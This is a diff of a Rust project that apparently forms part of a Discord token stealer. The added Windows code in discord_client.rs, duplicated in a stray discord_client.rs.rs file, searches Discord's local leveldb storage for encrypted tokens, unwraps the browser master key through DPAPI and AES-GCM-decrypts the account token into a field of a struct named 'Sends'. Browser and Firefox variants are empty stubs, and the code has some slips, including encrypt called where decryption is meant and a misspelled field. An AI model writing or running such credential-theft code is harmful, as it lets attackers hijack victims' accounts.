M data/Cargo.lock => data/Cargo.lock +230 -13
@@ 3,6 3,41 @@
version = 3
[[package]]
+name = "aead"
+version = "0.5.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5c192eb8f11fc081b0fe4259ba5af04217d4e0faddd02417310a927911abd7c8"
+dependencies = [
+ "crypto-common",
+ "generic-array",
+]
+
+[[package]]
+name = "aes"
+version = "0.8.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "433cfd6710c9986c576a25ca913c39d66a6474107b406f34f91d4a8923395241"
+dependencies = [
+ "cfg-if",
+ "cipher",
+ "cpufeatures",
+]
+
+[[package]]
+name = "aes-gcm"
+version = "0.10.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "82e1366e0c69c9f927b1fa5ce2c7bf9eafc8f9268c0b9800729e8b267612447c"
+dependencies = [
+ "aead",
+ "aes",
+ "cipher",
+ "ctr",
+ "ghash",
+ "subtle",
+]
+
+[[package]]
name = "aho-corasick"
version = "0.7.20"
source = "registry+https://github.com/rust-lang/crates.io-index"
@@ 12,46 47,146 @@ dependencies = [
]
[[package]]
-name = "bit-set"
-version = "0.5.3"
+name = "base64"
+version = "0.20.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0ea22880d78093b0cbe17c89f64a7d457941e65759157ec6cb31a31d652b05e5"
+
+[[package]]
+name = "cfg-if"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+
+[[package]]
+name = "cipher"
+version = "0.4.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0700ddab506f33b20a03b13996eccd309a48e5ff77d0d95926aa0210fb4e95f1"
+checksum = "d1873270f8f7942c191139cb8a40fd228da6c3fd2fc376d7e92d47aa14aeb59e"
dependencies = [
- "bit-vec",
+ "crypto-common",
+ "inout",
]
[[package]]
-name = "bit-vec"
-version = "0.6.3"
+name = "cpufeatures"
+version = "0.2.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "349f9b6a179ed607305526ca489b34ad0a41aed5f7980fa90eb03160b69598fb"
+checksum = "28d997bd5e24a5928dd43e46dc529867e207907fe0b239c3477d924f7f2ca320"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "crypto-common"
+version = "0.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
+dependencies = [
+ "generic-array",
+ "rand_core",
+ "typenum",
+]
+
+[[package]]
+name = "ctr"
+version = "0.9.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835"
+dependencies = [
+ "cipher",
+]
[[package]]
name = "data"
version = "0.1.0"
dependencies = [
- "fancy-regex",
+ "aes-gcm",
+ "base64",
+ "regex",
"serde",
"serde_derive",
+ "serde_json",
+ "winapi",
]
[[package]]
-name = "fancy-regex"
-version = "0.10.0"
+name = "generic-array"
+version = "0.14.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0678ab2d46fa5195aaf59ad034c083d351377d4af57f3e073c074d0da3e3c766"
+checksum = "bff49e947297f3312447abdca79f45f4738097cc82b06e72054d2223f601f1b9"
dependencies = [
- "bit-set",
- "regex",
+ "typenum",
+ "version_check",
+]
+
+[[package]]
+name = "getrandom"
+version = "0.2.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c05aeb6a22b8f62540c194aac980f2115af067bfe15a0734d7277a768d396b31"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "wasi",
]
[[package]]
+name = "ghash"
+version = "0.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d930750de5717d2dd0b8c0d42c076c0e884c81a73e6cab859bbd2339c71e3e40"
+dependencies = [
+ "opaque-debug",
+ "polyval",
+]
+
+[[package]]
+name = "inout"
+version = "0.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5"
+dependencies = [
+ "generic-array",
+]
+
+[[package]]
+name = "itoa"
+version = "1.0.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fad582f4b9e86b6caa621cabeb0963332d92eea04729ab12892c2533951e6440"
+
+[[package]]
+name = "libc"
+version = "0.2.139"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "201de327520df007757c1f0adce6e827fe8562fbc28bfd9c15571c66ca1f5f79"
+
+[[package]]
name = "memchr"
version = "2.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d"
[[package]]
+name = "opaque-debug"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5"
+
+[[package]]
+name = "polyval"
+version = "0.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7ef234e08c11dfcb2e56f79fd70f6f2eb7f025c0ce2333e82f4f0518ecad30c6"
+dependencies = [
+ "cfg-if",
+ "cpufeatures",
+ "opaque-debug",
+ "universal-hash",
+]
+
+[[package]]
name = "proc-macro2"
version = "1.0.49"
source = "registry+https://github.com/rust-lang/crates.io-index"
@@ 70,6 205,15 @@ dependencies = [
]
[[package]]
+name = "rand_core"
+version = "0.6.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
+dependencies = [
+ "getrandom",
+]
+
+[[package]]
name = "regex"
version = "1.7.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
@@ 87,6 231,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "456c603be3e8d448b072f410900c09faf164fbce2d480456f50eea6e25f9c848"
[[package]]
+name = "ryu"
+version = "1.0.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7b4b9743ed687d4b4bcedf9ff5eaa7398495ae14e61cba0a295704edbc7decde"
+
+[[package]]
name = "serde"
version = "1.0.152"
source = "registry+https://github.com/rust-lang/crates.io-index"
@@ 104,6 254,23 @@ dependencies = [
]
[[package]]
+name = "serde_json"
+version = "1.0.91"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "877c235533714907a8c2464236f5c4b2a17262ef1bd71f38f35ea592c8da6883"
+dependencies = [
+ "itoa",
+ "ryu",
+ "serde",
+]
+
+[[package]]
+name = "subtle"
+version = "2.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601"
+
+[[package]]
name = "syn"
version = "1.0.107"
source = "registry+https://github.com/rust-lang/crates.io-index"
@@ 115,7 282,57 @@ dependencies = [
]
[[package]]
+name = "typenum"
+version = "1.16.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba"
+
+[[package]]
name = "unicode-ident"
version = "1.0.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "84a22b9f218b40614adcb3f4ff08b703773ad44fa9423e4e0d346d5db86e4ebc"
+
+[[package]]
+name = "universal-hash"
+version = "0.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7d3160b73c9a19f7e2939a2fdad446c57c1bbbbf4d919d3213ff1267a580d8b5"
+dependencies = [
+ "crypto-common",
+ "subtle",
+]
+
+[[package]]
+name = "version_check"
+version = "0.9.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
+
+[[package]]
+name = "wasi"
+version = "0.11.0+wasi-snapshot-preview1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
+
+[[package]]
+name = "winapi"
+version = "0.3.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
+dependencies = [
+ "winapi-i686-pc-windows-gnu",
+ "winapi-x86_64-pc-windows-gnu",
+]
+
+[[package]]
+name = "winapi-i686-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
+
+[[package]]
+name = "winapi-x86_64-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
M data/Cargo.toml => data/Cargo.toml +9 -2
@@ 8,10 8,17 @@ edition = "2021"
[dependencies]
serde = "1.0.152"
serde_derive = "1.0.152"
-fancy-regex = { version = "0.10.0", optional = true }
+
[features]
functions = []
discord-chromium = ["functions"]
discord-firefox = ["functions"]
-discord-client = ["functions", "dep:fancy-regex"]
+discord-client = ["functions"]
+
+[target.'cfg(target_os = "windows")'.dependencies]
+aes-gcm = "0.10.1"
+base64 = "0.20.0"
+regex = "1.7.0"
+serde_json = "1.0.91"
+winapi = { version = "0.3.9", features = ["dpapi", "winbase"] }
M data/src/all_data/discord_chromium.rs => data/src/all_data/discord_chromium.rs +17 -0
@@ 1,1 1,18 @@
+use crate::Sends;
+impl Sends {
+ #[cfg(all(feature = "discord-chromium", target_os = "windows"))]
+ pub fn discord_chromium(&mut self) -> Option<()> {
+ None
+ }
+
+ #[cfg(all(feature = "discord-chromium", target_os = "linux"))]
+ pub fn discord_chromium(&mut self) -> Option<()> {
+ None
+ }
+
+ #[cfg(all(feature = "discord-chromium", target_os = "macos"))]
+ pub fn discord_chromium(&mut self) -> Option<()> {
+ None
+ }
+}
M data/src/all_data/discord_client.rs => data/src/all_data/discord_client.rs +75 -3
@@ 1,8 1,80 @@
use crate::Sends;
impl Sends {
- #[cfg(feature = "discord-client")]
- pub fn discord_client(&mut self) {
- self.discord_client_token = Some("123".to_string());
+ #[cfg(all(feature = "discord-client", target_os = "windows"))]
+ pub fn discord_client(&mut self) -> Option<()> {
+ use std::env;
+ use std::path::PathBuf;
+ use std::fs;
+ use std::ffi::OsStr;
+ use regex::bytes::Regex;
+ use serde_json::Value;
+ use winapi::um::dpapi::CryptUnprotectData;
+ use std::ptr::null_mut;
+ use winapi::um::wincrypt::CRYPTOAPI_BLOB;
+ use std::slice;
+ use winapi::um::winbase::LocalFree;
+ use winapi::ctypes::c_void;
+ use aes_gcm::{Aes256Gcm, KeyInit, Nonce, aead::Aead};
+ for i in &["discord", "discordcanary", "Litecord", "discordptb"] {
+ let mut path = PathBuf::from(env::var("appdata").ok()?);
+ for x in &[i, "Local Storage", "leveldb"] {
+ path.push(x);
+ }
+ match fs::read_dir(path.clone()) {
+ Ok(x) => {
+ for ldb in x {
+ let path_ldb = ldb.ok()?.path();
+ if path_ldb.extension() == Some(OsStr::new("ldb")) {
+ let contents = fs::read(path_ldb).ok()?;
+ let re = Regex::new("dQw4w9WgXcQ:([^\"]*)").ok()?;
+ let caps = re.captures(&contents)?;
+ let asm = base64::decode(&caps[1]).ok()?;
+ path.pop();
+ path.pop();
+ path.push("Local State");
+ let local_state = fs::read_to_string(path).ok()?;
+ let local_state: Value = serde_json::from_str(&local_state).ok()?;
+ let mut key = base64::decode(local_state["os_crypt"]["encrypted_key"].as_str()?).ok()?;
+ let key = &mut key[5..];
+ let mut data_in = CRYPTOAPI_BLOB {
+ cbData: key.len() as u32,
+ pbData: key.as_mut_ptr(),
+ };
+ let mut data_out = CRYPTOAPI_BLOB {
+ cbData: 0,
+ pbData: null_mut()
+ };
+ let master_key;
+ unsafe {
+ CryptUnprotectData(&mut data_in, null_mut(), null_mut(), null_mut(), null_mut(), 0, &mut data_out);
+ master_key = slice::from_raw_parts(data_out.pbData, data_out.cbData as usize).to_vec();
+ LocalFree(data_out.pbData as *mut c_void);
+ }
+ let iv = &asm.clone()[3..15];
+ let payload = &asm.clone()[15..];
+ let cipher = Aes256Gcm::new_from_slice(&master_key).ok()?;
+ let decrypted = cipher.encrypt(Nonce::from_slice(iv), payload);
+ let token = decrypted.ok()?;
+ let token = token.split(|y| *y == 249).collect::<Vec<_>>()[0];
+ self.discord_client_token = Some(String::from_utf8(token.to_vec()).ok()?);
+ break;
+ }
+ }
+ },
+ Err(_) => {}
+ }
+ }
+ Some(())
+ }
+
+ #[cfg(all(feature = "discord-client", target_os = "linux"))]
+ pub fn discord_client(&mut self) -> Option<()> {
+ None
+ }
+
+ #[cfg(all(feature = "discord-client", target_os = "macos"))]
+ pub fn discord_client(&mut self) -> Option<()> {
+ None
}
}
A data/src/all_data/discord_client.rs.rs +70 -0
@@ 0,0 1,70 @@
+use crate::Sends;
+use std::env;
+use std::path::PathBuf;
+use std::fs;
+use std::ffi::OsStr;
+use regex::bytes::Regex;
+use serde_json::Value;
+use winapi::um::dpapi::CryptUnprotectData;
+use std::ptr::null_mut;
+use winapi::um::wincrypt::CRYPTOAPI_BLOB;
+use std::slice;
+use winapi::um::winbase::LocalFree;
+use winapi::ctypes::c_void;
+use aes_gcm::{Aes256Gcm, KeyInit, Nonce, aead::Aead};
+
+impl Sends {
+ #[cfg(feature = "discord-client")]
+ pub fn discord_client(&mut self) -> Option<()> {
+ for i in &["discord", "discordcanary", "Litecord", "discordptb"] {
+ let mut path = PathBuf::from(env::var("appdata").unwrap());
+ for x in &[i, "Local Storage", "leveldb"] {
+ path.push(x);
+ }
+ match fs::read_dir(path.clone()) {
+ Ok(x) => {
+ for ldb in x {
+ let path_ldb = ldb.unwrap().path();
+ if path_ldb.extension() == Some(OsStr::new("ldb")) {
+ let contents = fs::read(path_ldb).unwrap();
+ let re = Regex::new("dQw4w9WgXcQ:([^\"]*)").unwrap();
+ let caps = re.captures(&contents).unwrap();
+ let asm = base64::decode(&caps[1]).unwrap();
+ path.pop();
+ path.pop();
+ path.push("Local State");
+ let local_state = fs::read_to_string(path).unwrap();
+ let local_state: Value = serde_json::from_str(&local_state).unwrap();
+ let mut key = base64::decode(local_state["os_crypt"]["encrypted_key"].as_str().unwrap()).unwrap();
+ let key = &mut key[5..];
+ let mut data_in = CRYPTOAPI_BLOB {
+ cbData: key.len() as u32,
+ pbData: key.as_mut_ptr(),
+ };
+ let mut data_out = CRYPTOAPI_BLOB {
+ cbData: 0,
+ pbData: null_mut()
+ };
+ let master_key;
+ unsafe {
+ CryptUnprotectData(&mut data_in, null_mut(), null_mut(), null_mut(), null_mut(), 0, &mut data_out);
+ master_key = slice::from_raw_parts(data_out.pbData, data_out.cbData as usize).to_vec();
+ LocalFree(data_out.pbData as *mut c_void);
+ }
+ let iv = &asm.clone()[3..15];
+ let payload = &asm.clone()[15..];
+ let cipher = Aes256Gcm::new_from_slice(&master_key).unwrap();
+ let decrypted = cipher.encrypt(Nonce::from_slice(iv), payload);
+ let token = decrypted.unwrap();
+ let token = token.split(|y| *y == 249).collect::<Vec<_>>()[0];
+ self.discord_client_toke = Some(String::from_utf8(token.to_vec()));
+ break;
+ }
+ }
+ },
+ Err(_) => {}
+ }
+ }
+ Some(())
+ }
+}
M data/src/all_data/discord_firefox.rs => data/src/all_data/discord_firefox.rs +17 -0
@@ 1,1 1,18 @@
+use crate::Sends;
+impl Sends {
+ #[cfg(all(feature = "discord-firefox", target_os = "windows"))]
+ pub fn discord_firfox(&mut self) -> Option<()> {
+ None
+ }
+
+ #[cfg(all(feature = "discord-firefox", target_os = "linux"))]
+ pub fn discord_firefox(&mut self) -> Option<()> {
+ None
+ }
+
+ #[cfg(all(feature = "discord-firefox", target_os = "macos"))]
+ pub fn discord_firefox(&mut self) -> Option<()> {
+ None
+ }
+}